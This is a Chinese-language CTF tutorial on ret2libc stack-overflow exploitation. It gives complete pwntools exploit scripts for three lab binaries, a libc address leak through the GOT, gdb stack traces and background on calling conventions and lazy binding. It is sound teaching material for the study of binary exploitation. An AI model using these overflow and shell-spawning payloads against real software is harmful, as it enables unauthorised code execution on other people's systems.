PWN棧溢出基礎(chǔ)——ROP1.5(ret2libc)
之前在我寫的ROP1.0中介紹了ret2text、ret2shellcode、ret2syscall,本次介紹ret2libc。
原理
ret2libc即控制函數(shù)的執(zhí)行l(wèi)ibc中的函數(shù),通常是返回至某個(gè)函數(shù)的plt處或者函數(shù)的具體位置(即函數(shù)對(duì)應(yīng)的got表項(xiàng)的內(nèi)容)。一般情況下,我們會(huì)選擇執(zhí)行system("/bin/sh"),故而此時(shí)我們需要知道system函數(shù)的地址。
例1.ret2libc1
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
有NX,不可用ret2shellcode。
IDA
//漏洞函數(shù)長這個(gè)樣子,偏移也比較容易計(jì)算哈
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}
gets的棧溢出,偏移計(jì)算沒什么亮點(diǎn),可以看ROP1.0。
查看string里邊既有system函數(shù),也有/bin/sh,那么思路有了
payload='A'0x6C+'A'4+system_addr+binsh_addr
exp
from pwn import *
p=process('./ret2libc1')
system_addr=0x08048460
binsh_addr=0x08048720
##payload='A'*0x6C+'A'*4+p32(system_addr)+p32(binsh_addr)
##上邊的payload是錯(cuò)的
payload='A'*0x6C+'a'*4+p32(system_addr)+'aaaa'+p32(binsh_addr)
p.sendline(payload)
p.interactive()
實(shí)際上我們一開始給出的思路是錯(cuò)的,因?yàn)樾枰紤]函數(shù)調(diào)用棧的結(jié)構(gòu),如果是正常調(diào)用system函數(shù),我們調(diào)用的時(shí)候會(huì)有一個(gè)對(duì)應(yīng)的返回地址,這里以'aaaa'作為虛假的地址,其后參數(shù)對(duì)應(yīng)的參數(shù)內(nèi)容。
這個(gè)題運(yùn)氣好的地方在于同時(shí)給出了system和/bin/sh
(>_<,函數(shù)調(diào)用棧的知識(shí)我后邊盡量添加上。)
例2.ret2libc2
這個(gè)題很好玩喲~
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
同樣是開啟了NX,所以也難不到哪里去。
***IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(&s);
return 0;
}
x_x,我試著做一做啊
這道題里邊有system函數(shù),但是沒有/bin/sh 字符串,所以我猜測啊,可不可以調(diào)用gets函數(shù)讀取/bin/sh到了某個(gè)地方,然后再調(diào)用system函數(shù)。
在.bss段里可以找到一個(gè)buf2(問題在于,我也不知道怎么看會(huì)想到有這個(gè)全局變量的?)
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?)
.bss:0804A080 _bss ends
那么存放bin/sh的地方確定了,嘿嘿,0x0804A080
payload='a'0x6C+'a'4+gets_addr+system_addr+buf2_addr+buf2_addr
問題來了,怎么把/bin/sh輸進(jìn)去?
(答:我想的有些復(fù)雜了,直接senlind進(jìn)去就可以了)
exp
from pwn import *
system_addr=0x8048490
gets_addr=0x8048460
buf2_addr=0x804A080
p=process('./ret2libc2')
payload='a'*112+p32(gets_addr)+p32(system_addr)+p32(buf2_addr)+p32(buf2_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
問題來了,payload的布局為什么是這樣的,我會(huì)從兩部分來說,一部分是函數(shù)調(diào)用,另一部分是實(shí)際調(diào)試的時(shí)候的變化。(函數(shù)調(diào)用的知識(shí)最后再說)
事后調(diào)試

依舊在leave指令處下斷點(diǎn)(詳見ROP1.0),執(zhí)行ret之后執(zhí)行g(shù)ets函數(shù),這個(gè)應(yīng)該好理解。在backtrace中可見,執(zhí)行Gets之后會(huì)去執(zhí)行system函數(shù)。
棧中數(shù)據(jù)如下:
00:0000│ esp 0xffb8cc00 —? 0xffb8cc1c ?— 0x61616161 ('aaaa')
01:0004│ 0xffb8cc04 ?— 0x0
02:0008│ 0xffb8cc08 ?— 0x1
03:000c│ 0xffb8cc0c ?— 0x0
... ↓
05:0014│ 0xffb8cc14 ?— 0xc30000
06:0018│ 0xffb8cc18 ?— 0x0
07:001c│ 0xffb8cc1c ?— 0x61616161 ('aaaa')
... ↓
23:008c│ 0xffb8cc8c —? 0x8048460 (gets@plt) ?— jmp dword ptr [0x804a010]
24:0090│ 0xffb8cc90 —? 0x8048490 (system@plt) ?— jmp dword ptr [0x804a01c]
25:0094│ 0xffb8cc94 —? 0x804a080 (buf2) ?— 0x0
接著往下單步執(zhí)行

從棧中取出buf2的地址,并給eax賦值。而在payload總緊跟著gets函數(shù)地址的system函數(shù)地址是gets函數(shù)的返回地址,接著往下單步執(zhí)行,直到返回

這一步調(diào)整棧幀

最后成功執(zhí)行system函數(shù),并將/bin/sh作為參數(shù)
ret2libc3
這個(gè)題的難度比較大,麻煩的地方有兩個(gè),首先是要計(jì)算出偏移地址,隨后再劫持程序運(yùn)行流回到最開始,這個(gè)貌似和延遲綁定有關(guān)系。另一個(gè)是工具使用上的,找到合適的libc地址。
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
開啟了NX保護(hù)
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
gets()函數(shù)存在棧溢出漏洞,當(dāng)前偏移很好確定。
查看string

里邊沒有system,沒有/bin/sh。(話說,這里都把GLIBC的版本給出來了,不是么?)
如何得到system函數(shù)的地址呢?這里就主要利用了兩個(gè)知識(shí)點(diǎn)
(1)system函數(shù)屬于Libc,而libc.so動(dòng)態(tài)鏈接庫中的函數(shù)之間相對(duì)偏移是固定的。
(2)即使程序有ASLR保護(hù),也只是針對(duì)于地址中間位進(jìn)行隨機(jī),最低的12位并不會(huì)發(fā)生改變。(雖說這道題并沒有開啟PIE)
如果我們知道libc中某個(gè)函數(shù)的地址,那么我們就可以確定該程序利用的libc,從而得出system函數(shù)的地址。
確定system地址
如何得到Libc中的某個(gè)函數(shù)的地址呢?一般常用的方法是采用got表泄露,即輸出某個(gè)函數(shù)對(duì)應(yīng)的got表項(xiàng)的內(nèi)容。當(dāng)然,由于Libc的延遲綁定機(jī)制,我們需要泄露已經(jīng)執(zhí)行過的函數(shù)的地址。(延遲綁定機(jī)制的原理最后再說)
泄露函數(shù)地址
計(jì)算溢出點(diǎn),便可以先將部分函數(shù)泄露出來。這里選擇泄露_libc_start_main和puts兩個(gè)函數(shù)地址
##ret2libc3_exp1.py
from pwn import *
p=process('./ret2libc3')
elf=ELF('./ret2libc3')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']
puts_got = elf.got['puts']
print "leak libc_start_main_got addr and return to main again"
payload1 = 'a' * 112 + p32(puts_plt) + p32(main) +p32(
libc_start_main_go)
p.recvuntil('Can you find it !?')
p.sendline(payload1)
print "get the related addr"
libc_start_main_addr = u32(p.recv()[0:4])
print("addr:" + hex(libc_start_main_addr))
payload中首先填充112個(gè)'a'到達(dá)返回地址,修改返回地址為puts()函數(shù),中間放的p32(main)可以換成別的,最后libc_start_main_go是需要泄露的函數(shù)地址。

可見,得出了libc_start_main的地址,在線查找對(duì)應(yīng)的Libc版本,
鏈接:https://libc.blukat.me/

可見版本為libc6-2.26,可以看到這個(gè)數(shù)據(jù)庫給出了下載鏈接并且給出了幾個(gè)函數(shù)的偏移地址。將對(duì)應(yīng)的Libc文件下載下來,重命名為libc.so,移動(dòng)到和目標(biāo)文件的同一目錄下。
整體的思路
·泄露__libc_start_main地址
·獲取libc版本
·獲取system地址與/bin/sh的地址
·再次執(zhí)行源程序
·觸發(fā)棧溢出執(zhí)行system('bin/sh')
exp
##ret2libc3_exp.py
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc=ELF('libc.so')
libcbase=libc_start_main_addr-libc.symbols['__libc_start_main']
system_addr=libcbase + libc.symbols['system']
binsh_addr=libcbase + 0x17e0af
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
exp分為兩部分,第一,通過棧溢出獲得libc偏移地址并控制程序流程重新回到main函數(shù)開始。第二,根據(jù)偏移地址計(jì)算出system和/bin/sh的地址,利用棧溢出geyshell。
注意第二次的時(shí)候,偏移地址不是112,而是104,這是因?yàn)榈诙芜M(jìn)入主函數(shù)之后,棧幀發(fā)生了變化。
事后調(diào)試
先把第二次的payload的偏移設(shè)為112,看看會(huì)發(fā)生什么

可見,第一次的payload發(fā)揮作用了,將調(diào)用puts函數(shù),并且之后返回到main函數(shù)開始處。

可見,第二次的payload并未能改變程序流程,當(dāng)前
EBP:0xffca3a80,如果你回過頭去看,第一次執(zhí)行main函數(shù)的ebp為0xffca3a78。0xffca3a80-0xffca3a78=8
這時(shí)候就是偏移出了問題,可見多出了8個(gè)a,修改偏移為104即可。
這里的偏移104也可以根據(jù)cyclic得出
$cyclic 300
$gdb ./...
$r
$cyclic -l "0x******"
為什么偏移少8
__start是程序的起始。
直接用main_plt=elf.symbols['_start']的話,仍然填充為112
使用main需要減去8
可以這樣計(jì)算:ebp+0x4-(esp+0x1C)(esp+0x1c是字符串的起點(diǎn)),ebp+4的目的是從main開始調(diào)用。
補(bǔ)充知識(shí)
函數(shù)調(diào)用
棧空間是計(jì)算機(jī)內(nèi)存中一段確定的內(nèi)存區(qū)域,也有著一些指針指向相應(yīng)的內(nèi)存地址,在x86架構(gòu)中這個(gè)指針位于ESP寄存器,而在x86-64平臺(tái)上為RSP寄存器。在計(jì)算機(jī)底層,棧主要的幾個(gè)用途是:(1)存儲(chǔ)局部變量;(2)執(zhí)行CALL指令調(diào)用函數(shù)時(shí),保存函數(shù)地址以便函數(shù)結(jié)束時(shí)正確返回;(3)傳遞函數(shù)參數(shù)。
使用棧保存函數(shù)返回地址
CALL指令調(diào)用某個(gè)子函數(shù)時(shí),下一條指令的地址作為返回地址被保存到棧中,等價(jià)于PUSH返回地址與JMP函數(shù)地址的指令序列。
被調(diào)用函數(shù)結(jié)束時(shí),程序?qū)?zhí)行RET指令跳轉(zhuǎn)到這個(gè)返回地址,將控制權(quán)交還給調(diào)用函數(shù),等價(jià)于POP返回地址與JMP返回地址的指令序列。因此無論調(diào)用了多少層子函數(shù),由于棧后入先出的特性,程序控制權(quán)最終會(huì)回到main函數(shù)。
調(diào)用子函數(shù)這一行為使用PROC與ENDP偽指令來定義,且需要分配一個(gè)有效的標(biāo)識(shí)符,所有的x86匯編程序中都包含標(biāo)識(shí)符為main的函數(shù),這是程序的入口點(diǎn),main函數(shù)不需要使用RET指令,但其他的被調(diào)用函數(shù)結(jié)束時(shí)都需要通過RET指令被控制權(quán)交還調(diào)用函數(shù)。
1 ... .code
2 ... main PROC
3 0x00008000 MOV EBX,EAX
4 ... ...
5 0x00008020 CALL testFunc
6 0x00008025 MOV EAX,EBX
7 ... ...
8 ... main ENDP
9 ... ...
10 0x00008A00 testFunc PROC
11 ... MOV EAX,EDX
12 ... ...
13 ... RET
14 ... testFunc ENDP
通過上面的代碼片段,可以看到棧是如何保存函數(shù)返回地址的。當(dāng)?shù)?行的CALL指令執(zhí)行時(shí),下一條指令的地址0x00008025將被壓入棧中,被調(diào)用函數(shù)testFunc的地址0x00008A00則被加載至EIP寄存器,如所示。

當(dāng)執(zhí)行第13行的RET指令時(shí),將分為兩個(gè)過程,第一步,ESP指向的數(shù)據(jù)將被彈出至EIP寄存器;第二步,ESP的數(shù)值增加,將指向棧中的上一個(gè)值。如圖
所示

使用棧傳遞函數(shù)參數(shù)
在x86平臺(tái)程序中,最常見的參數(shù)傳遞調(diào)用約定是cdecl,其他的還是stdcall、fastcall和thiscall等。需要注意的是,我們可以使用棧傳遞參數(shù),但并不代表?xiàng)J轿ㄒ粋鬟f參數(shù)的方式,在x86-64上,還可以通過寄存器傳遞參數(shù)。
假設(shè)函數(shù)func有三個(gè)參數(shù)arg1,agr2和arg3,那么在cdecl約定下通常如下所示:
push arg3
push arg2
push arg1
call func
此外,被調(diào)用函數(shù)并不直到調(diào)用函數(shù)向它傳遞了多少參數(shù),因此對(duì)于參數(shù)數(shù)量可變的函數(shù)來說,就需要說明符標(biāo)示格式化說明,明確參數(shù)信息。常見的printf函數(shù)就是參數(shù)數(shù)量可變的函數(shù)之一。如果我們?cè)赾語言中這樣使用pinrtf函數(shù):
printf("%d,%d,%d",9998)
那么得到的結(jié)果不僅會(huì)顯示整數(shù)9998,還將顯示出數(shù)據(jù)棧內(nèi)9998之后的兩個(gè)地址的隨機(jī)數(shù)(通常這種數(shù)據(jù)是被調(diào)用函數(shù)內(nèi)部的局部變量。)
延遲綁定
動(dòng)態(tài)鏈接比靜態(tài)鏈接要慢1%~5%,根據(jù)動(dòng)態(tài)鏈接中PIC(與地址無關(guān)代碼)的原理PIC,可以直到造成該情況的原因如下:
(1)動(dòng)態(tài)鏈接下對(duì)于全局和靜態(tài)數(shù)據(jù)的訪問都要進(jìn)行復(fù)雜的GOT(全局偏移表)定位,然后間接尋址;對(duì)于模塊間的調(diào)用也要先定位GOT,然后再進(jìn)行跳轉(zhuǎn)。
(2)動(dòng)態(tài)鏈接的鏈接工作是在運(yùn)行時(shí)完成,即程序開始運(yùn)行時(shí),動(dòng)態(tài)鏈接器都要進(jìn)行一次鏈接工作,而鏈接工作需要復(fù)雜的重定位等工作,減慢了啟動(dòng)速度。
針對(duì)上述第二個(gè)減慢動(dòng)態(tài)鏈接的原因,提出了延遲綁定(Lazy Binding)的要求:即函數(shù)第一次被用到時(shí)才進(jìn)行綁定。通過延遲綁定大大加快了程序的啟動(dòng)速度。而 ELF 則使用了PLT(Procedure Linkage Table,過程鏈接表)的技術(shù)來實(shí)現(xiàn)延遲綁定。
當(dāng)在程序運(yùn)行過程中需要調(diào)用動(dòng)態(tài)鏈接器來為某一個(gè)第一次調(diào)用的外部函數(shù)進(jìn)行地址綁定時(shí),需要提供給動(dòng)態(tài)鏈接器的內(nèi)容有:發(fā)生地址綁定需求的地方(文件名)以及需要綁定的函數(shù)名也即是說,假設(shè)動(dòng)態(tài)鏈接器使用某一個(gè)函數(shù)來進(jìn)行地址綁定工作,那它的函數(shù)原型應(yīng)該為: lookup(module,function)。
PLT的簡單實(shí)現(xiàn)
原來的做法:調(diào)用某一個(gè)外部函數(shù)時(shí),通過GOT中的相應(yīng)項(xiàng)進(jìn)行間接跳轉(zhuǎn)。
PLT的做法:調(diào)用函數(shù)時(shí),通過一個(gè)PLT項(xiàng)的結(jié)構(gòu)來進(jìn)行跳轉(zhuǎn),每一個(gè)外部函數(shù)中都有一個(gè)相應(yīng)的項(xiàng)。
bar@plt:
jmp *(bar@GOT) //如果是第一次鏈接,該語句的效果只是跳轉(zhuǎn)到下一句指令。否則,將會(huì)跳轉(zhuǎn)到 bar()函數(shù)對(duì)應(yīng)的位置
push n //壓棧 n,n 是 bar 這個(gè)符號(hào)在重定位表 .rel.plt 中的下標(biāo)
push moduleID // 壓棧當(dāng)前模塊的模塊ID,上述例子中的 liba.so
jump _dl_runtime_resolve() //跳轉(zhuǎn)到動(dòng)態(tài)鏈接器中的地址綁定處理函數(shù)
先說這么多把,后邊我再續(xù)一下,目前關(guān)于延遲綁定沒找到好的資料。
后記
參考鏈接
https://www.freesion.com/article/5780503138/
https://www.bilibili.com/video/BV1pb411P7vG?from=search&seid=7059356990447699539
https://wiki.x10sec.org/pwn/linux/stackoverflow/basic-rop-zh/#3
https://blog.csdn.net/virtual_func/article/details/48789947